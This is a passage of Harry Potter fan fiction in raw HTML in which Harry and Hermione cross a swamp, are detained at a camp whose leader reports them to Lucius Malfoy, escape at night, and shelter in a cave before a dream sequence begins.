style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsuddenly felt really tired, &#8220;I am not wading through that,&#8221; She said with\ndisgust, &#8220;who knows what could be in there.&#8221; She then cringed at the scent that\nwas floating about the air. &#8220;Oh and it doesn&#8217;t smell very pleasant either.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nHermione, we&#8217;re gonna have to go through it, there&#8217;s no other way around the\nswamp.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If\nI die and become a ghost I&#8217;m gonna annoy that Rowena for all of eternity.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nshook his head back and forth, he reached out taking her hand in his.&nbsp; &#8220;If you go down, I&#8217;m going down with you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked up at him wide eyed.&nbsp; &#8220;Oh please don&#8217;t\nsay such things like going down while were in this swamp.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nchuckled lightly as they started walking through the swamp, Hermione could feel\nthe squishy mud beneath her feet, not to mention the water was as cold as ice\nit was&nbsp; soaking into their jeans.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Bleck.&#8221;\nShe felt nauseous as some of the mud sloshed into her shoes. &#8220;This is so\ndisgusting.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded, agreeing with her one hundred percent.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nmuddy ground started sloping downward, and the water was getting deeper it was\nno up to their waste. &#8220;I just bet there are all kinds of creepies in this\nswamp, I really don&#8217;t want to end up dinner for some swamp dwelling spawn of\nevil.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nyou would certainly be one tasty appetizer.&#8221; Harry grinned slyly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,\nhow could you of all people flirt while we&#8217;re trudging through this nasty\nswamp?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nshrugged, &#8220;I don&#8217;t know, I guess it comes sort of natural for me.&#8221; Harry said\nwith a smirk.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">If\nshe didn&#8217;t have to swim as of now she would have smacked him on the arm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nnow had to actually swim through the murky water, they could see more of the\nforest a bit off in the distance, that usually meant that it would start to get\nshallow again, at least Harry hoped it would start to get shallow again soon.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nfroze feeling something down below rub up against her leg.&nbsp; &#8220;Uh, Harry something is down there.&#8221; She\nlooked around frantically. &#8220;I knew it, I knew it. Where gonna be monster\nchow.&#8221;&nbsp; Harry laughed, Hermione narrowed her\neyes. &#8220;Oh Harry this is not funny we are going to be supper for a squid or\nsomething, this is no time to laugh.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione,\nrelax that was just me.&#8221; He rubbed his leg against hers a few times, &#8220;see. So\nfar there is nothing down there.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nsighed with relief, as they continued through the swamp, and to their relief\nthe water started to get shallow, their toes finally touched the muddy\nground.&nbsp; Hermione felt for her wand that\nwas in it&#8217;s secure loop around her waist.&nbsp;\nShe patted the wood with reassurance, almost afraid she had lost it\nduring the swim across the swamp.&nbsp; They\nwere able to walk up from the swamp water and back into the forest.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nwere soaked, so Hermione pulled her wand from it&#8217;s secure holder. And got it\nready to cast the cleaning charm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Wait!&#8221;\nHarry shouted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221;\nHermione asked alarmed, noticing that Harry was staring at her with a far off\nlook in his eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just\na few more minutes.&#8221; He said and continued to stare at how her wet clothes\nclung to her very generous curves, almost as if it was becoming part of her skin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nrubbed her forehead, &#8220;Harry as much as I would love to just stand here so you\ncould drool over the way I look, I am very cold.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nI noticed.&#8221;&nbsp; He lifted an eyebrow with a\ngrin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nsmacked him in the arm, &#8220;you&#8217;re lucky I&#8217;m in love with you or you would be\nbelching slugs.&#8221; She said with a bit of amusement while she cast the drying\ncharm on herself and Harry, the cleaning charm was to follow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">And\nthey continued on in the forest, Harry hearing music abruptly stopped, making\nHermione who was following run into his back</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,\nwhat is it?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nput his finger against his lips making a quite gesture.&nbsp; &#8220;Do you hear that?&#8221; He said in a whisper, </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; They continued walking following the sound of\nthe music as it got louder.&nbsp; Harry pulled\nback some tree branches and looked between the trees and found a large group of\nwagons and men and women of all ages, sitting, or dancing around a fire. While\na young looking man played a fiddle, he was smiling and having a grand time. Or\nso it looked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Gypsies,&#8221;\nHarry pointed in the direction of the camp.&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nleaned in closer to Harry, &#8220;Oh Harry what are we gonna do? How are we gonna get\naround them?&#8221; She whispered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nnot sure. I really don&#8217;t want to alert them to our presence.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\ntoo late for that friend.&#8221; A man&#8217;s voice said.&nbsp;\nBoth Harry and Hermione&#8217;s eyes widened with fear and shock at the\nsinister sounding man behind them. They both turned around, and found they had\nto look up.&nbsp; Hermione gulped down a\nbreath of air at seeing just how tall this guy was, there was no doubt that he\nwas half giant like Hagrid.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\ndon&#8217;t you join us friend.&#8221; It wasn&#8217;t a request.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded, &#8220;sure.&#8221; He had to adjust his voice, for it had raised a few octaves, &#8220;I\nmean, sure.&#8221; He said hoping to sound tough.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\nbring the tender morsel with you.&#8221; The man said pointing to Hermione with a\njerk of his chin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s\neyes narrowed as she was about to say something when Harry nudged her lightly\nin the side.&nbsp; She closed her mouth\nimmediately.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Using\nhis massive strength the man pushed the trees to the side and Harry and\nHermione stepped into the gypsies camp.&nbsp;\n&#8220;Lookie what I found snooping around.&#8221; Said the half giant to the group.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\nweren&#8217;t snooping around, we were just passing through.&#8221; Harry said</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A\nmiddle aged but very good looking man stepped up to Harry and Hermione. &#8220;I am\nNiffler, the ruler here.&#8221; He said looking up and down his new guests.&nbsp; He stared into Harry&#8217;s eyes, looking for\ndefiance.&nbsp; &#8220;So you say you were just\npassing through?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes.&#8221;\nHarry said no taking his eye contact from the ruler.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Where\nis that you are heading?&#8221; He said trying to stare Harry down, to make him feel\ninferior.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\nare heading towards Camelot, and I apologize if we entered you camp, it was\nunintentional.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nRuler smiled an awkward grin, it looked more like a sneer, &#8220;you will join is\nhere tonight, perhaps we&#8217;ll let you leave in the morning. It is far safer with\nus in these dark woods, than you being on your own&#8221; He then looked over at\nHermione, he gave her a appraising grin. &#8220;Well, well.&#8221; He said circling her\nlike a vulture, letting his eyes wander about her. &#8220;aren&#8217;t you lovely.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey!&#8221;\nHarry said not liking how this guy was looking at Hermione. He put his arm\naround her waist in a possessive gesture. &#8220;Watch what you&#8217;re looking at, she\nbelongs to me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Niffler\nturned on Harry, &#8220;does she now?&nbsp; Would\nyou be willing to sell her to me, I would give you a fair price.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s\nfists clinched at his sides in rage, &#8220;no.&#8221; His voice straining to remain\nneutral, &#8220;I am quite happy with her. I do not wish to sell.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Perhaps\nby morning I could convince you otherwise.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Thanks\nfor the offer, but no thanks.&#8221; Harry said narrowing his eyes at Niffler.&nbsp; He was not going to let Hermione out of his\nsite for one minute tonight.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Niffler\nnodded &#8220;please eat, drink. You are our guest tonight.&nbsp; Enjoy your evening.&#8221;&nbsp; Niffler nodded once towards the fiddler and\nhe started up a merry tune.&nbsp; Niffler turned\nand went back into his wagon and closed the door. All the gypsies went about\ntheir business.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s\narms went around Harry in relief, &#8220;that was horrible.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nsorry.&#8221; He didn&#8217;t like anything he said to Niffler, it made him feel queasy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\ndon&#8217;t be sorry for anything you said, you did what you had to.&#8221; She leaned her\nhead against his chest holding onto him tightly.&nbsp; &#8220;It was what that Niffler was saying and\ndoing that was horrible.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow, but I still feel horrible having to treat you like that, it&#8217;s just not\nright.&#8221; He said as he lifted her chin with a gentle finger so that he could\nlook into her eyes.&nbsp; He didn&#8217;t like it\nthat she had her head lowered when he had to speak to her. He enjoyed looking\nonto her eyes, seeing her soul and all the love she had for him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\neating what the gypsies had to offer, the rest of the band headed off to their\nwagons for the night. Harry and Hermione were lying on their backs, the half\ngiant was staying out there with them. Harry had his eyes closed, his glasses\nwere resting on his chest.&nbsp; Hermione\nstared up at the stars, then she looked over at the half giant who was snoring\nloudly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,\nyou asleep?&#8221; She whispered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221;\nHe said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nturned over on their sides, to look at each other.&nbsp; Harry slipped his glasses on.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,\nI don&#8217;t think they are going to let us leave tomorrow.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nglanced over at the sleeping guard. &#8220;I know what you mean.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nhave to leave as early as possible, possibly before sunrise.&#8221; Harry said, he reached\nfor a lock of her hair which was somehow pulled free from her pony tail. He\nglanced at the colored strand within his fingers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nthen stood. Harry looked up at her oddly. Where you going?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nneed to, you know. Use the bathroom.&#8221; She said in hushed tones</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nstood &#8220;all right then.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstared, &#8220;what are you doing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\ngoing with you, you&#8217;ll have your privacy of course.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,\nI&#8217;m a big girl I can go to the bathroom with out help.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\njust wanna make sure that one of these guys isn&#8217;t gonna try and snag you, trust\nme.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh,\nall right.&#8221; Hermione said and they headed towards the edge of the camp.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Harry leaned up against a wagon while Hermione\nwent into the trees a little more.&nbsp; Harry\nheard the voice of Niffler talking to someone, a strangely familiar voice, he\nleaned his ear closer to the door of the wagon.&nbsp;\nTo his surprise the door wasn&#8217;t closed all the way and it opened a bit,\nluckily it didn&#8217;t make a noise. He looked in and saw Niffler looking into a\nlarge mirror and talking to the figure of a familiar looking man.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Our\nmaster wants you to know that you are doing well.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Thank\nyou sir.&#8221; Niffler said with a smile.&nbsp;\n&#8220;Now then the reason I contacted you, is that you said to keep a look\nout for certain individuals.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,\nand?&#8221; The man in the mirror said with growing annoyance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ncame back from the trees and noticed Harry standing by a slightly opened\ndoor.&nbsp; She came up behind him, and saw\nexactly what Harry was seeing.&nbsp; Harry\nturned a bit and glanced at her for a moment, then they both continued to watch\nNiffler talking with the mirror.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nyou said to look out for two young people, on their way to Camelot.&nbsp; It just so happens those two walked into our\ncamp not to long ago.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;They&#8217;re\ntalking about us, how did they even know about us?&#8221; Hermione whispered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded, &#8220;I don&#8217;t know but we have to get out of here, now.&#8221;&nbsp; He took one last look at the mirror, and then\nit clicked. He knew who that was.&nbsp; It was\nLucius Malfoy, and there was only one person he was working for and calling\nmaster, Voldermort. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Lucius\nwas pleased.&nbsp; &#8220;Make sure they stay with\nyou until we get there.&nbsp; Our master is\npleased.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now,\nwhat about my reward?&#8221; Niffler spat bitterly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Lucius\nglared.&nbsp; &#8220;Helping our master should be\nyour only reward.&#8221;&nbsp; The man in the mirror\nfaded a moment then returned. &#8220;On second thought, he thought you should have\nsomething, you shall receive your weight in galleons.&#8221; And with that Lucius&#8217;s\nhead vanished from the mirror. Niffler rubbed his hands together greedily. He\njust happened to look out his window to see his prisoners leaving the camp, the\ngirl looked over her shoulder and then the boy grabbed her hand and they fled\ninto the forest.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nHell!&#8221;&nbsp; Niffler shouted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Niffler\nbarreled out of his wagon and down his steps, shouting at the top of his lungs,\nWake up you oafs, get up!! They&#8217;re getting away!&#8221;&nbsp; Niffler kicked the half giant&#8217;s foot waking\nhim &#8220;Get up Sims,&#8221; He shouted, &#8220;I thought you were on guard.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nwas just restin&#8217; my eyes for a minute.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah.&#8221;\nNiffler said sarcastically then he slammed his fist against Sims&#8217;s jaw.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah\nboss whadya do that for?&#8221; Sims said rubbing his now sore jaw.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because\nthey are gone you big idiot!&#8221; Niffler shouted.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Within\nminutes the gypsies were running through the forest looking for the escaped\nprisoners.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione were in a good hiding place, a large hole in the ground that had\njust enough space for the two of them. There were four large logs lying on top\nof the hole, which was covered loosely with dirt and leaves, there was enough\nlarge holes between the logs so they could see.&nbsp;\nAs the gypsies ran across the top of their roof they couldn&#8217;t help their\nquick breathing as they feared for their lives.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;They\ncouldn&#8217;t have gotten too far.&#8221; One of them shouted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Try\nover there Broady.&#8221; Sims shouted to another gypsy as he ran across and over the\nhiding place.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Someone\nstopped on top of hiding place and stood there for awhile.&nbsp; Hermione buried her face in Harry&#8217;s chest, her\nheart was beating wildly.&nbsp; Harry held her\ntight, to protect her if they were discovered.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nman above them sighed with defeat, &#8220;I think they apparated out of here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,\nthey are no where to be found.&#8221; Broady said then smirked. &#8220;I think Niffler is\nin big trouble he already contacted the master, heh, heh.&#8221;&nbsp; All three of them looked at each other and\nbroke into fits of laughter, &#8220;Maybe they&#8217;ll hang him.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nah,&#8221;\nTroler said walking up to them. &#8220;More like they&#8217;ll just use the killing curse\non him.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhappen to think they would torture him first, I heard that someone among them\nlikes the old fashioned muggle torture. I can just see them shoving red, hot\niron spikes up his&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Too\nmuch information Broady, I really don&#8217;t wish to envision that.&#8221; Troler replied\ninterrupting Broady as quickly as he could.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione listened intently as the voices got further and further away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do\nyou think it&#8217;s safe?&#8221; Hermione asked, her voice was a little muffled as she\nstill had her head resting against Harry&#8217;s chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ll\ntake a look.&#8221;&nbsp; Harry lifted his arms,\npressing his hands against one of the logs and pushed it up and over it took a\nbit of strength to push it over.&nbsp; He\nraised his head out of the hole just enough to see out.&nbsp; He glanced about not seeing any torches or\nlanterns of anything.&nbsp; He reached down\nand pulled his wand from it&#8217;s holder &#8220;I&#8217;m gonna get some light.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nHarry what it&#8217;s a trick and they want you to use your wand.&#8221; Hermione whispered\nas loud as she could</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nneed to see if it&#8217;s safe to come out, and this is the only way.&#8221;&nbsp; He crossed his fingers on his left hand\nhoping that the gypsies were really gone.&nbsp;\n&#8220;Lumos.&#8221; He whispered and his wand lit\nup.&nbsp; It didn&#8217;t attract any gypsies, only\na few insects.&nbsp; He sighed with relief.\n&#8220;It&#8217;s safe, we can get out of his hole now.&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ngot out of the hole, then Hermione was soon to follow. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nwas too close.&#8221; Hermione said brushing off her clothing from the dirt.&nbsp; She pulled out her wand and lit the end of\nit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\ntwo of them continued walking with their wands lit, the soon got out of the\nvicinity of the gypsies.&nbsp; Harry noticed a\ncave and pointed to it.&nbsp; Hermione nodded\nand followed him towards the cave.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It\nwasn&#8217;t a very deep cave, it was basically just a hole in the wall.&nbsp; But it would be good enough to sleep in for\nthe night.&nbsp;&nbsp;&nbsp; Using their wand light,\nthey two of them gathered up some wood to build a fire.&nbsp; They set the wood down in a little pile\ninside the small cave.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Incendio&#8221;\nHermione said pointing her wand at the wood, which created a lovely fire that\nwarmed them up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nsat together, and cuddled close to one another, they were so tired and\nexhausted that they fell asleep in what was like two seconds flat, which was\nactually more like five or ten minutes. &nbsp;In her sleep Hermione leaned shifted and\nturned over&#8212;<i style="mso-bidi-font-style:normal"> She stood there outside the\nwindow, looking at him.&nbsp; His blonde hair\nfalling over his eyes as his father back handed him.&nbsp; She shook her head wondering what kind of a\nfather would injure his own son.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You are a disgrace to the family, how\ndare you give secret information to my enemies!&#8221; He shouted so loud that she\ncould hear it and a second late his apparated and was gone.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She walked over to the window and tapped\non it.&nbsp; He turned and opened the window.&nbsp; &#8220;Jasmine, what are you doing here.&nbsp; If my father comes home he will kill you.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;He&#8217;s left for good Ulrich, the council\nis after him, he&#8217;s a man running from the law.&nbsp;\nHe won&#8217;t be back.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" 